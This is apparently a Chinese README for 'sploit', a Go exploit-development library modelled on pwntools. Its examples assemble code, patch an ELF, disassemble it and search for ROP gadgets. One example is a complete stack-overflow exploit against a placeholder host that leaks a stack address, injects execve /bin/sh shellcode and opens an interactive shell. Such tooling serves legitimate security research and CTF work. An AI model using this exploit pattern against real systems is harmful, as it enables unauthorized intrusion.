Sploit 是一个Go语言包,用于辅助二进制分析和漏洞利用。开发sploit的初衷在于提供一个设计良好的API,其功能足以媲美一些常见的Python漏洞利用开发框架,同时充分利用Go编程语言的优势。出色的交叉编译支持、goroutines、强大的密码学库以及静态类型,只是选择Go的几个原因。
本项目受pwntools和其他优秀项目的启发。目前仍处于开发初期。预计本项目将重点关注shellcode编写、二进制补丁、ROP栈构建以及通用二进制分析。
package main;
import(
sp "github.com/zznop/sploit"
)
var arch = &sp.Processor {
Architecture: sp.ArchI386,
Endian: sp.LittleEndian,
}
var scInstrs = `mov al, 0xb /* __NR_execve */
sub esp, 0x30 /* 获取指向/bin/sh的指针(见下方) */
mov ebx, esp /* filename (/bin/sh) */
xor ecx, ecx /* argv (NULL) */
xor edx, edx /* envp (NULL) */
int 0x80`
func main() {
shellcode, _ := sp.Asm(arch, scInstrs)
r, _ := sp.NewRemote("tcp", "some.pwnable.on.the.interwebz:10800")
defer r.Close()
r.RecvUntil([]byte("HELLO:"), true)
// 泄露栈地址
r.Send(append([]byte("/bin/sh\x00AAAAAAAAAAAA"), sp.PackUint32LE(0x08048087)...))
resp, _ := r.RecvN(20)
leakAddr := sp.UnpackUint32LE(resp[0:4])
// 获取shell
junk := make([]byte, 20-len(shellcode))
junk = append(junk, sp.PackUint32LE(leakAddr-4)...)
r.Send(append(shellcode, junk...))
r.Interactive()
}
package main;
import(
"github.com/zznop/sploit"
"encoding/hex"
"fmt"
)
func main() {
instrs := "mov rcx, r12\n" +
"mov rdx, r13\n" +
"mov r8, 0x1f\n" +
"xor r9, r9\n" +
"sub rsp, 0x8\n" +
"mov qword [rsp+0x20], rax\n"
arch := &sploit.Processor {
Architecture: sploit.ArchX8664,
Endian: sploit.LittleEndian,
}
opcode, _ := sploit.Asm(arch, instrs)
fmt.Printf("Opcode bytes:\n%s\n", hex.Dump(opcode))
}
> ./assemble_example
Opcode bytes:
00000000 4c 89 e1 4c 89 ea 49 c7 c0 1f 00 00 00 4d 31 c9 |L..L..I......M1.|
00000010 48 83 ec 08 48 89 44 24 28 |H...H.D$(|
package main
import (
"fmt"
sp "github.com/zznop/sploit"
)
var origProgram = "../test/prog1.x86_64"
var patchedProgram = "./patched"
var patchInstrs = `
jmp past
message:
.ascii "This is an example patch payload\n"
past:
mov rdi, 1 /* STDOUT文件描述符 */
lea rsi, [rip + message] /* 指向消息字符串的指针 */
mov rdx, 33 /* 消息大小 */
mov rax, 1 /* __NR_write */
syscall /* 执行系统调用 */
self:
jmp self /* 永远挂起 */
`
func main() {
e, _ := sp.NewELF(origProgram)
e.AsmPatch(patchInstrs, 0x1050)
e.Save(patchedProgram, 0777)
}
> ./patch_elf
Patching _start of ../test/prog1.x86_64
Exporting patched ELF to ./patched
> ./patched
This is an example patch payload
package main;
import(
"github.com/zznop/sploit"
"fmt"
)
var program = "../test/prog1.x86_64"
func main() {
elf, _ := sploit.NewELF(program)
vaddr := uint64(0x1135)
count := 34
fmt.Printf("Disassembling %v bytes at vaddr:%08x\n", count, vaddr)
disasm, _ := elf.Disasm(vaddr, count)
fmt.Print(disasm)
}
> ./disassemble_example
Disassembling 34 bytes at vaddr:00001135
00001135: push rbp
00001136: mov rbp, rsp
00001139: sub rsp, 0x10
0000113d: mov dword ptr [rbp - 4], edi
00001140: mov qword ptr [rbp - 0x10], rsi
00001144: lea rdi, [rip + 0xeb9]
0000114b: call 0x1030
00001150: mov eax, 0
00001155: leave
00001156: ret
package main;
import(
"github.com/zznop/sploit"
)
var program = "../test/prog1.x86_64"
func main() {
elf, _ := sploit.NewELF(program)
rop, _ := elf.ROP()
matched, _ := rop.InstrSearch("pop rbp")
matched.Dump()
}
0000111f: pop rbp ; ret
0000111d: add byte ptr [rcx], al ; pop rbp ; ret
00001118: mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
00001113: call 0x1080 ; mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
000011b7: pop rbp ; pop r14 ; pop r15 ; ret
000011b3: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011b2: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011af: add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011ae: add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
...
Sploit的某些功能依赖于外部工具。例如,Sploit使用GCC的GAS汇编器来编译汇编代码,并使用capstone反汇编编译后的代码,这些功能作为asm.go所暴露API的一部分。
安装capstone:
git clone https://github.com/aquynh/capstone.git --branch 4.0.2 --single-branch
cd capstone
make
sudo make install
安装GCC交叉编译器。以下命令假设你正在使用Debian或Ubuntu Intel工作站,如果运行其他Linux发行版可能需要修改:
sudo apt install gcc gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips-linux-gnu \
gcc-mipsel-linux-gnu gcc-powerpc-linux-gnu
如果你更喜欢使用docker,一个包含外部依赖项的镜像位于Docker Hub。使用以下命令拉取:
docker pull zznop/sploit:latest